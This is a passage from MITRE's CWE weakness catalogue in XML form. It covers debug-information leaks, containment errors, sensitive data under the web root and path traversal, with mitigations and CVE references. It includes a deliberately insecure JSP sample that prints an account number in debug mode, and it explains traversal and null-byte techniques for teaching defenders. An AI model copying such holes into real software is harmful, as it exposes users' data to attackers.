							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code reads a "debugEnabled" system property and writes
						sensitive debug information to the client browser if true.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>JSP</Code_Example_Language>
							              <Code>&lt;% if (Boolean.getBoolean("debugEnabled")) {</Code>
							              <Block>
								                <Code>%&gt;</Code>
								                <Code>User account number: &lt;%= acctNo %&gt;</Code>
								                <Code>&lt;%</Code>
								                <Code>} %&gt;</Code>
								                <Code/>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2268</Observed_Example_Reference>
					          <Observed_Example_Description>Password exposed in debug
						information.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0918</Observed_Example_Reference>
					          <Observed_Example_Description>CGI script includes sensitive information in debug
						messages when an error is triggered.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1078</Observed_Example_Reference>
					          <Observed_Example_Description>FTP client with debug option enabled shows
						password to the screen.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Infoleak Using Debug Information</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Information Leakage and Improper Error
						Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-09-27">Information Leak Through
						Debug Information</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="216" Name="Containment Errors (Container Errors)" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>This tries to cover various problems in which improper data are
					included within a "container."</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>199</Relationship_Target_ID>
					          <!--Information Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry is closely associated with others related to encapsulation and
						permissions, and might ultimately prove to be a duplicate.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Containment errors (container errors)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="217" Name="DEPRECATED: Failure to Protect Stored Data from Modification" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This weakness has been deprecated because it incorporated and
					confused multiple weaknesses. The issues formerly covered in this weakness can
					be found at CWE-766 and CWE-767.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-20</Modification_Date>
					          <Modification_Comment>deprecated this entry in favor of new entries which focus
						on the multiple weaknesses formerly described here, CWE-766 and
						CWE-767</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Demonstrative_Examples, Description,
						Likelihood_of_Exploit, Name, Other_Notes, Potential_Mitigations,
						Related_Attack_Patterns, Relationships, Taxonomy_Mappings,
						Time_of_Introduction, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Protect Stored
						Data from Modification</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="218" Name="DEPRECATED (Duplicate): Failure to provide confidentiality for stored data" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This weakness has been deprecated because it was a duplicate of
					CWE-493. All content has been transferred to CWE-493.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Description, Likelihood_of_Exploit, Name,
						Relationships, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Failure to Provide
						Confidentiality for Stored Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="219" Name="Sensitive Data Under Web Root" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The application stores sensitive data under the web document
					root with insufficient access control, which might make it accessible to
					untrusted parties.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>216</Relationship_Target_ID>
					          <!--Containment Errors (Container Errors)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>285</Relationship_Target_ID>
					          <!--Improper Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>731</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A10 - Insecure Configuration Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Operation</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid storing information under the web root directory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Access control permissions should be set to prevent reading/writing of
							sensitive files inside/outside of the web directory.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1835</Observed_Example_Reference>
					          <Observed_Example_Description>Data file under web
						root.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2217</Observed_Example_Reference>
					          <Observed_Example_Description>Data file under web
						root.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1449</Observed_Example_Reference>
					          <Observed_Example_Description>Username/password in data file under web
						root.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0943</Observed_Example_Reference>
					          <Observed_Example_Description>Database file under web
						root.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1645</Observed_Example_Reference>
					          <Observed_Example_Description>database file under web
						root.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Sensitive Data Under Web Root</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Configuration Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A10</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="22" Name="Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					is intended to identify a file or directory that is located underneath a
					restricted parent directory, but the software does not properly neutralize
					special elements within the pathname that can cause the pathname to resolve to a
					location that is outside of the restricted directory.</Description_Summary>
				        <Extended_Description>
					          <Text>Many file operations are intended to take place within a restricted
						directory. By using special elements such as ".." and "/" separators,
						attackers can escape outside of the restricted location to access files or
						directories that are elsewhere on the system. One of the most common special
						elements is the "../" sequence, which in most modern operating systems is
						interpreted as the parent directory of the current location. This is
						referred to as relative path traversal. Path traversal also covers the use
						of absolute pathnames such as "/usr/local/bin", which may also be useful in
						accessing unexpected files. This is referred to as absolute path
						traversal.</Text>
					          <Text>In many programming languages, the injection of a null byte (the 0 or NUL)
						may allow an attacker to truncate a generated filename to widen the scope of
						attack. For example, the software may add ".txt" to any pathname, thus
						limiting the attacker to text files, but a null injection may effectively
						remove this restriction.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>865</Relationship_Target_ID>
					          <!--2011 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>21</Relationship_Target_ID>
					          <!--Pathname Traversal and Equivalence Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>715</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Pathname equivalence can be regarded as a type of canonicalization
						error.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>Some pathname equivalence issues are not directly related to directory
						traversal, rather are used to bypass security-relevant checks for whether a
						file/directory can be accessed by the attacker (e.g. a trailing "/" on a
						filename could bypass access rules that don't expect a trailing /, causing a
						server to provide the file when it normally would not).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Incomplete diagnosis or reporting of vulnerabilities can make it difficult
						to know which variant is affected. For example, a researcher might say that
						"..\" is vulnerable, but not test "../" which may also be vulnerable.</Text>
					          <Text>Any combination of the items below can provide its own variant, e.g.
						"//../" is not listed (CVE-2004-0325).</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Directory traversal</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Path traversal</Term>
					          <Alternate_Term_Description>
						            <Text>"Path traversal" is preferred over "directory traversal," but both
							terms are attack-focused.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Like other weaknesses, terminology is often based on the types of
						manipulations used, instead of the underlying weaknesses. Some people use
						"directory traversal" only to refer to the injection of ".." and equivalent
						sequences whose specific meaning is to traverse directories. </Text>
					          <Text>Other variants like "absolute pathname" and "drive letter" have the
						*effect* of directory traversal, but some people may not call it such, since
						it doesn't involve ".." or equivalent.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to create or overwrite critical files that
							are used to execute code, such as programs or libraries.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite or create critical files, such
							as programs, libraries, or important data. If the targeted file is used
							for a security mechanism, then the attacker may be able to bypass that
							mechanism. For example, appending a new account at the end of a password
							file may allow an attacker to bypass authentication.</Text>
					          </Consequence_Note>
